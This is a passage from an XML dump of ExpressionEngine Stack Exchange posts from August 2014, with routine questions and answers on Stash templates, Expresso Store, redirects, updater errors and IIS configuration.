instead&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;^([0-9]+\/){3}([a-zA-Z0-9\-\_]{0,75})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-08-08T11:00:03.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24980" PostTypeId="1" AcceptedAnswerId="25026" CreationDate="2014-08-08T10:59:46.123" Score="0" ViewCount="75" Body="&lt;p&gt;Is it possible to use EE-standard database queries in a custom payment gateway written using Omnipay format to manipulate data in the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.E. use &lt;code&gt;$query = ee()-&amp;gt;db-&amp;gt;select('title, url_title, field_id_14')&lt;/code&gt; within the PurchaseRequest class?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="55" LastEditDate="2014-08-11T18:28:56.693" LastActivityDate="2014-08-11T21:00:28.827" Title="How To Manipulate Database In Custom Expresso Store Payment Gateway" Tags="|expresso-store|database|payment-gateway|omnipay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24981" PostTypeId="1" CreationDate="2014-08-08T11:47:50.137" Score="2" ViewCount="270" Body="&lt;p&gt;I need to merge to loops into one stash list.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first loop is a standard channel entries loop.&#xA;The second is a twitter time line, using CE Twitter.(&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-tweet&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-tweet&lt;/a&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code thus far, I've removed a lot of the markup and variables et al...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- set list --}&#xA;{exp:stash:set_list name='journal_list' parse_tags='yes' depth=&quot;2&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {exp:channel:entries channel=&quot;journal&quot; dynamic=&quot;no&quot; paginate=&quot;bottom&quot; sort=&quot;desc&quot; limit=&quot;10&quot;} &#xA;        {!-- append to the list the channel entries --}&#xA;        {exp:stash:append_list name='journal_list' parse_tags='yes' depth=&quot;2&quot; parse=&quot;inward&quot;}&#xA;                {!--type set as post, used to output post markup --}&#xA;                {stash:type}post{/stash:type}&#xA;                {!-- entry date saved to variable - the idea is to then use this as the order by argument --}&#xA;                {stash:entry_date}{entry_date}{/stash:entry_date}&#xA;                {!-- All the usual gubbins, titles, images, text et all, all sorted in stash variables --}&#xA;        {/exp:stash:append_list}&#xA;&#xA;    {/exp:channel:entries} &#xA;&#xA;    {exp:ce_tweet:user_timeline screen_name=&quot;myMegaTwitterAccount&quot; count=&quot;5&quot; sort=&quot;asc&quot;}&#xA;        {!-- append to the same list as above for the twitter time line --}&#xA;        {exp:stash:append_list name='journal_list' parse_tags='yes' depth=&quot;2&quot; parse=&quot;inward&quot;}&#xA;                {!--type set as tweet, used to output tweet markup --}&#xA;                {stash:type}tweet{/stash:type}&#xA;                {!-- entry date saved to variable - the idea is to then use this as the order by argument --}&#xA;                {stash:entry_date}{created_at}{/stash:entry_date}&#xA;        {/exp:stash:append_list}&#xA;&#xA;    {/exp:ce_tweet:user_timeline}&#xA;&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;{exp:stash:get_list name='journal_list' order_by=&quot;{entry_date}&quot; paginate=&quot;bottom&quot; limit=&quot;5&quot;}&#xA;    {if &quot;{type}&quot; == &quot;Post&quot;}&#xA;        {!-- all the post markup here --}&#xA;  {if:else}&#xA;    {!-- all the tweet markup here --}&#xA;  {/if}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above works, but not quite right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the two lists are outputted separately, i.e. first all of the channel entries are outputted, then all the tweets.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is for the sort order to be based solely on the {entry_date}, so the tweets and posts will be mixed up... [post post tweet post tweet post post] etc etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure this will be possible, I may have approached this incorrectly.  Fairly new to stash, although I have to say I'm bloomin' loving it (Thanks Mark!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added a screenshot below which should illustrate the issue I have, notice the dates on the items. eeee! (n.b using masonry for the layout)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, greatly appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KPxDM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="730" LastEditorUserId="730" LastEditDate="2014-09-15T21:56:39.647" LastActivityDate="2018-11-12T13:02:15.503" Title="Stash - merge two lists" Tags="|stash|2.9|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24982" PostTypeId="1" AcceptedAnswerId="25376" CreationDate="2014-08-08T12:41:42.567" Score="0" ViewCount="103" Body="&lt;p&gt;I think this question is probably more directed at the guys from Expresso Store, but maybe there's someone else out there that has had to deal with something similar before and can point me in a direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using CE Cache to cache certain parts of our templates, including product data. We've set up cache breaking for when a product channel entry gets added/updated, no problem here, but because the Sales section of Store is outside of the channel entries view, the caching does not get refreshed again after a sale has been associated to a specific product. It is not really a nice solution for us to tell our client they have to go and edit a product again after creating a sale to break the cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ideal for us would be if there's a hook that gets triggered by Expresso Store when a new sale/discount is created that I can just extend to clear the cache programmatically. Also ideally I would not want to hack Store self. I have looked at the documentation &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but most of the hooks look like they are related to the ordering process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2014-08-28T10:58:45.813" Title="Clear cache when Expresso Store Sale is created" Tags="|expresso-store|hook|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24983" PostTypeId="2" ParentId="24981" CreationDate="2014-08-08T13:28:34.763" Score="1" Body="&lt;p&gt;You should be able to do this by setting a list with the channel entry output and just appending the tweet module output to that list. A couple of other things, you have depth of 2 which adds processing and shouldn't be necessary in this case. (this is untested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- set list --}&#xA;{exp:stash:set_list &#xA;    name='journal_list' &#xA;    parse_tags='yes' &#xA;    parse=&quot;inward&quot;&#xA;}&#xA;    {exp:channel:entries channel=&quot;journal&quot; dynamic=&quot;no&quot; paginate=&quot;bottom&quot; sort=&quot;desc&quot; limit=&quot;10&quot;} &#xA;        {stash:type}post{/stash:type}&#xA;        {stash:entry_date}{entry_date}{/stash:entry_date}&#xA;    {/exp:channel:entries} &#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:ce_tweet:user_timeline screen_name=&quot;myMegaTwitterAccount&quot; count=&quot;5&quot; sort=&quot;asc&quot;}&#xA;    {!-- append to the same list as above for the twitter time line --}&#xA;    {exp:stash:append_list &#xA;        name='journal_list' &#xA;        parse_tags='yes' &#xA;    }&#xA;        {stash:type}tweet{/stash:type}&#xA;        {stash:entry_date}{created_at_relative}{/stash:entry_date}&#xA;    {/exp:stash:append_list}&#xA;{/exp:ce_tweet:user_timeline}&#xA;&#xA;{!--output the list--}&#xA;{exp:stash:get_list &#xA;    name='journal_list' &#xA;    order_by=&quot;{entry_date}&quot; &#xA;    paginate=&quot;bottom&quot; &#xA;    limit=&quot;5&quot;&#xA;    process=&quot;end&quot;&#xA;}&#xA;    {if &quot;{type}&quot; == &quot;Post&quot;}&#xA;        {!-- all the post markup here --}&#xA;    {if:else}&#xA;        {!-- all the tweet markup here --}&#xA;    {/if}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added a process=end to the get_list, but depending on how you have the templates set up you may not need that. Also, the ce_tweet module tag may need to be wrapped with stash:parse  so that it runs after the initial set_list. If that's the case, you would use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;inline&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:ce_tweet:user_timeline screen_name=&quot;myMegaTwitterAccount&quot; count=&quot;5&quot; sort=&quot;asc&quot;}&#xA;        {!-- append to the same list as above for the twitter time line --}&#xA;        {exp:stash:append_list &#xA;            name='journal_list' &#xA;            parse_tags='yes' &#xA;        }&#xA;            {stash:type}tweet{/stash:type}&#xA;            {stash:entry_date}{created_at_relative}{/stash:entry_date}&#xA;        {/exp:stash:append_list}&#xA;    {/exp:ce_tweet:user_timeline}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-08-08T13:28:34.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24985" PostTypeId="2" ParentId="24944" CreationDate="2014-08-08T14:09:20.680" Score="1" Body="&lt;p&gt;Here's the query to get the site name and site label for each channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;    site_name, site_label, c.site_id, channel_name, channel_id&#xA;FROM&#xA;    exp_channels c&#xA;        LEFT JOIN&#xA;    exp_sites s ON s.site_id = c.site_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-08-08T14:09:20.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24986" PostTypeId="2" ParentId="24975" CreationDate="2014-08-08T15:28:58.123" Score="1" Body="&lt;p&gt;Ok, thanks to both @foamcow and @AllInOne I was able to weed out the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is what works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /&#xA;RewriteRule ^([0-9]+)/([0-9]+)/([0-9]+)/([a-zA-Z0-9\-/_]{0,75})(.*)$ http://www. new_ee_site.com/blog/view/$4 [R=301,NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, I used &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;([a-zA-Z0-9-/_]{0,75})&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to match the 75 characters I was after, then I had to add the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(.*)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because otherwise it didn't match any URLs that had a title greater than 75, so i had to take that into account. Now the &lt;strong&gt;$4&lt;/strong&gt; variable contains the first 75 characters of the URL, and the other variables aren't used, but 1-3 are the date, and 5 is the part that gets trimmed off.&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2014-08-08T15:28:58.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24987" PostTypeId="1" CreationDate="2014-08-08T16:59:05.177" Score="0" ViewCount="35" Body="&lt;p&gt;is there a way to force or overwrite the price of an item?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this: &lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;items[playa{count}][price]&quot; value=&quot;0&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="584" LastActivityDate="2014-08-11T18:46:08.180" Title="How to overwrite price" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24988" PostTypeId="2" ParentId="24970" CreationDate="2014-08-08T17:43:09.787" Score="0" Body="&lt;p&gt;I hope someone has a better solution than this, but for the time being, I found I can make copies of the Loopee plugin for each level of nesting I need. For example, I would duplicate the &lt;code&gt;loopee&lt;/code&gt; directory and name it &lt;code&gt;loopee2&lt;/code&gt;, and then rename the contained file &lt;code&gt;pi.loopee2.php&lt;/code&gt;. Then I edit that file, changing these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'pi_name'         =&amp;gt;  'Loopee2',&#xA;class Loopee2 {&#xA;function Loopee2()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That allows me to use a second level of nesting by calling the tag &lt;code&gt;{exp:loopee2}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I also &lt;a href=&quot;https://github.com/danott/ee-loopee/issues/5&quot; rel=&quot;nofollow&quot;&gt;submitted an issue&lt;/a&gt; to the Github repo in case the plugin author has time and desire to tackle the issue.)&lt;/p&gt;&#xA;" OwnerUserId="1335" LastEditorUserId="1335" LastEditDate="2014-08-08T17:51:28.380" LastActivityDate="2014-08-08T17:51:28.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24989" PostTypeId="1" AcceptedAnswerId="24990" CreationDate="2014-08-08T18:02:15.967" Score="0" ViewCount="94" Body="&lt;p&gt;Updating an older site, and I'm getting an error using the DevDemon Updater (v3.2.15), while trying to bring a site from 2.5.5 to 2.8.1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It stops during the update process on an error. And that message says: &lt;code&gt;Unexpected server response, probably a php error. Show Error&lt;/code&gt; - which I click through, it says this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: copy(/var/www/vhosts/mysite.com/sitehomedir/blog/system/expressionengine/cache/updater/1407520245_589541/system/EllisLab): failed to open stream: No such file or directory&#xA;Filename: libraries/updater_transfer.php&#xA;Line Number: 827&#xA;{&quot;success&quot;:&quot;yes&quot;,&quot;body&quot;:&quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure why it's looking for an Ellislab folder in /system/ - Is this a bug in the updater? Or something with my code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caveat: my site is in a subfolder (i.e. mysite.com/blog/ ) All the other functions work fine, but I just can't get EE to update. &lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2015-01-05T23:59:26.417" Title="DevDemon Updater - can't find &quot;EllisLab&quot; folder" Tags="|ee2-upgrades|devdemon|devdemon-updater|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24990" PostTypeId="2" ParentId="24989" CreationDate="2014-08-08T18:21:47.653" Score="0" Body="&lt;p&gt;I went poking in the code for the plugin and found the reference to EllisLab - I removed the updater and installed an earlier version (v3.2.11). And that version was able to update my site to 2.8.1 without any issues appearing. &lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2014-08-08T18:21:47.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24991" PostTypeId="1" CreationDate="2014-08-08T18:49:37.723" Score="0" ViewCount="523" Body="&lt;p&gt;We recently ran into an issue with some of our auto-generated URL title on channel entries. It seems that EE will happily allow characters like periods in URL titles. For example if I had a tile like &lt;code&gt;U.S. Tops in EE Installs&lt;/code&gt; then the generated URL title is &lt;code&gt;u.s.-tops-in-ee-installs&lt;/code&gt;. The periods can become an issue in some cases. Specifically they seem to throw off the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/session.html#tracker-array&quot; rel=&quot;nofollow&quot;&gt;EE Session Tracker Array&lt;/a&gt;, causing it to be NULL which is what caused our problem. So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why does EE even allow these kinds of characters in URL titles?&lt;/li&gt;&#xA;&lt;li&gt;Is there a setting or way to define a list of disallowed characters to be stripped from URL titles?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="384" LastActivityDate="2014-08-08T20:26:37.393" Title="How to disallow characters in URL titles" Tags="|url|url-title|sessions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24992" PostTypeId="1" AcceptedAnswerId="25000" CreationDate="2014-08-08T19:09:31.710" Score="0" ViewCount="66" Body="&lt;p&gt;I moved my IIS site from a hosted server (Apache) to IIS. In doing so I&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Made the normal IIS install, installed PHp and mysql&lt;/li&gt;&#xA;&lt;li&gt;Copied all the files to wwwroot&lt;/li&gt;&#xA;&lt;li&gt;Added the database.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now what happens is that i can get to the root mynewserver.com but if i click any links or type a link that has the subdirectory such as mynewserver.com/mypath i get 404 errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But mynewserver.com/system does work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another hint is that mynewserver.com/index.php/mypath totally works...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing this has something to do with IIS looking for directories over the PHP paths? &#xA;Or what config am i missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1893" LastEditorUserId="1893" LastEditDate="2014-08-08T19:25:44.500" LastActivityDate="2014-08-09T18:19:40.143" Title="Issues with EE On IIS with Directories" Tags="|404|iis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24993" PostTypeId="1" AcceptedAnswerId="25045" CreationDate="2014-08-08T19:11:05.183" Score="0" ViewCount="245" Body="&lt;p&gt;I am using a checkbox channel field named &quot;destinations&quot; that allows an entry to have multiple values checked off. I then want other fields from that entry to be displayed if the destinations field contains, rather then == (is equal to). So, an entry that has both Hawaii and New Zealand checked off for the field destination, will show up in either, rather then having to equal both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if destination == &quot;Hawaii&quot;}&#xA;                &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;{term}&amp;lt;/strong&amp;gt; &amp;lt;br /&amp;gt;&amp;lt;a href=&quot;{site_url}voyages/{program_page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a destination that only has Hawaii checked off, in the destination field. But, for an entry that has both Hawaii and New Zealand checked off, it won't show. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the Contains Operator, &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#contains-operator&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#contains-operator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if destination *= Hawaii} xyz {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it causes the page not to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried using the &lt;a href=&quot;http://devot-ee.com/add-ons/pvl-check-if&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/pvl-check-if&lt;/a&gt; plugin, but that didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice greatly appreciated. The page is here:&lt;a href=&quot;http://www.sea.edu/destinations/destinations_testing&quot; rel=&quot;nofollow&quot;&gt;http://www.sea.edu/destinations/destinations_testing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note for the destinations that don't have any Upcoming Voyages, its because the Voyages go to multiple destinations, so have more than one item checked off for the destinations field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="916" LastActivityDate="2014-08-12T14:09:03.627" Title="Contains operator not working for channel field that uses checkboxes" Tags="|templates|conditionals|channel-fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24994" PostTypeId="1" CreationDate="2014-08-08T20:03:32.980" Score="0" ViewCount="108" Body="&lt;p&gt;I would like to send bcc email to myself when user forgot password (reset password). I have solspace user add-on module. I only see 1 email address could put in. &lt;a href=&quot;http://www.solspace.com/docs/user/forgot_password/#email&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/user/forgot_password/#email&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to send notification to multiple email address (i.e. cc or bcc) when user forgot password. Thanks&lt;/p&gt;&#xA;" OwnerUserId="3198" LastActivityDate="2014-10-10T08:11:09.507" Title="How to add bcc on the email notification on forgot password" Tags="|solspace|solspace-user|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24995" PostTypeId="2" ParentId="24957" CreationDate="2014-08-08T20:23:00.220" Score="1" Body="&lt;p&gt;The &lt;code&gt;stricton&lt;/code&gt; setting controls whether or not strict mode is &lt;strong&gt;forced on&lt;/strong&gt;, not whether it is on or off. If the server already has it on (as they should), this will not override it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to run in strict mode, honestly, and it's been the default in MySQL for quite some time. Your efforts would be better spent on bringing the add-on up to date. It should be a fairly trivial thing to do, unless there are hundreds of manually written queries that are assembled in a confusing manner.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-08-08T20:23:00.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24996" PostTypeId="2" ParentId="24991" CreationDate="2014-08-08T20:26:37.393" Score="1" Body="&lt;p&gt;Pop open your config file: /system/expressionengine/config/config.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for a config option for 'permitted_uri_characters' - if you don't have it, you can add the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['permitted_uri_chars'] = &quot;a-z 0-9~%.:_\-&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what I use (and I think it's the default). But you should be able to just remove the period. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Structure (or similar), there's probably additional steps you'll want to take. So make sure you do proper testing, and so on. &lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2014-08-08T20:26:37.393" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24997" PostTypeId="2" ParentId="24993" CreationDate="2014-08-08T20:57:17.447" Score="0" Body="&lt;p&gt;I never used a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/custom_fields.html#checkbox-fields&quot; rel=&quot;nofollow&quot;&gt;checkbox field&lt;/a&gt;, but I believe they can should be used as variable pair in case of more than one possible option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{destination}&#xA;  {item}&#xA;{/destination}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will return every item checked. In case of two destinations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hawaii&#xA;New Zealand&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can try to change your template to these data be inside the variable pair or use an embed to pass all data as one single string and keep your previous logic:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;destination/data&quot; destinations=&quot;{destination}{item},{/destination}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if embed:destinations *= &quot;Hawaii&quot;}&#xA;  &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;{term}&amp;lt;/strong&amp;gt; &amp;lt;br /&amp;gt;&amp;lt;a href=&quot;{site_url}voyages/{program_page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope it helps. Bye!&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-08-08T20:57:17.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24998" PostTypeId="1" CreationDate="2014-08-08T23:04:51.093" Score="0" ViewCount="5" Body="&lt;p&gt;So, this seems really weird. For some reason, images are not displaying for logged in users (exception are Superusers). The website is 3 years old and I know images were showing regardless of whether a visitor was logged in or not so, this seems to be a recent issue although I don't know when this started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After trying to disable all 3rd-party plugins and building a test template with no javascript or CSS rules, the issue still exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After more experimentation, I can now display images to logged in users IF I allow a member group permission to upload images in the Control Panel. None of our members groups have Control Panel access nor should they so this is not a good, permanent solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on what I should check here to fix this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3459" LastActivityDate="2014-08-08T23:04:51.093" Title="Images Not Displayed to Members" Tags="|ee2|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25000" PostTypeId="2" ParentId="24992" CreationDate="2014-08-09T18:19:40.143" Score="1" Body="&lt;p&gt;What do you have in your web.config file? You'll find this in the site's root. Are you using web.config to redirect all requests to your index.php file? If not, this might help:&#xA;&lt;a href=&quot;http://www.climbingturn.co.uk/resources/expressionengine-tips-and-tricks/how-to-remove-index.php-on-iis&quot; rel=&quot;nofollow&quot;&gt;http://www.climbingturn.co.uk/resources/expressionengine-tips-and-tricks/how-to-remove-index.php-on-iis&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1508" LastActivityDate="2014-08-09T18:19:40.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25002" PostTypeId="1" AcceptedAnswerId="30448" CreationDate="2014-08-10T10:37:08.533" Score="0" ViewCount="55" Body="&lt;p&gt;Hi I use Channel Ratings with comments on my website, but lately I'm receiving 'spammed'   ratings with comments about viagra!!!&#xA;Do you have a way to prevent this from happening??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave@Daliz&lt;/p&gt;&#xA;" OwnerUserId="3191" LastActivityDate="2015-03-10T08:14:26.957" Title="Channel Ratings Comments Spam" Tags="|devdemon|channel-ratings|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25003" PostTypeId="2" ParentId="24994" CreationDate="2014-08-11T03:32:45.413" Score="0" Body="&lt;p&gt;Sorry, sending a forgot password email to a CC'ed or BCC'ed address isn't possible. I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on. :)&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no hooks in User to add this functionality either. A hypothesis here, but perhaps there is a 3rd-party add-on that hooks up to email sending timed well enough enough to add a CC or BCC to the sent email. However, I highly doubt this exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, and this is just another idea, you could &lt;em&gt;perhaps&lt;/em&gt; send a separate email using javascript/jQuery and Ajax, but you will need javascript/jQuery knowledge for that. In this situation, you could call a separate template (perhaps using something like &lt;a href=&quot;http://devot-ee.com/add-ons/email-from-template&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/email-from-template&lt;/a&gt;) which triggers the sending of an email (perhaps using something like &lt;a href=&quot;http://devot-ee.com/add-ons/email-from-template&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/email-from-template&lt;/a&gt;) to a specified address &lt;em&gt;before&lt;/em&gt; triggering the actual forgot password form submission. Obviously the email content would be different, and the email woulnd't be CC'ed or BCC'ed. Tutorials for calling a separate URL before submitting a form are likely plenty available on the net.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-08-11T03:32:45.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25005" PostTypeId="1" CreationDate="2014-08-11T08:04:29.240" Score="0" ViewCount="90" Body="&lt;p&gt;This seems to be an easy thing, but I cannot find a way in EE where you can select which of the statuses in the status group should be the default status. Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is have new channel entries default to status of &quot;closed&quot; and only be &quot;open&quot; once the administrator explicitly sets it to &quot;open&quot;. I know that if you do not set a specific status group to a channel, entries will default to closed for non-superadmins, but this is not an option, because we are using a custom status group with more statuses than just &quot;open&quot; and &quot;closed&quot;. Does anyone know whether it is possible to set the default status to &quot;closed&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2014-08-11T08:22:32.160" Title="Is it possible to have &quot;closed&quot; as the default channel entry status" Tags="|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
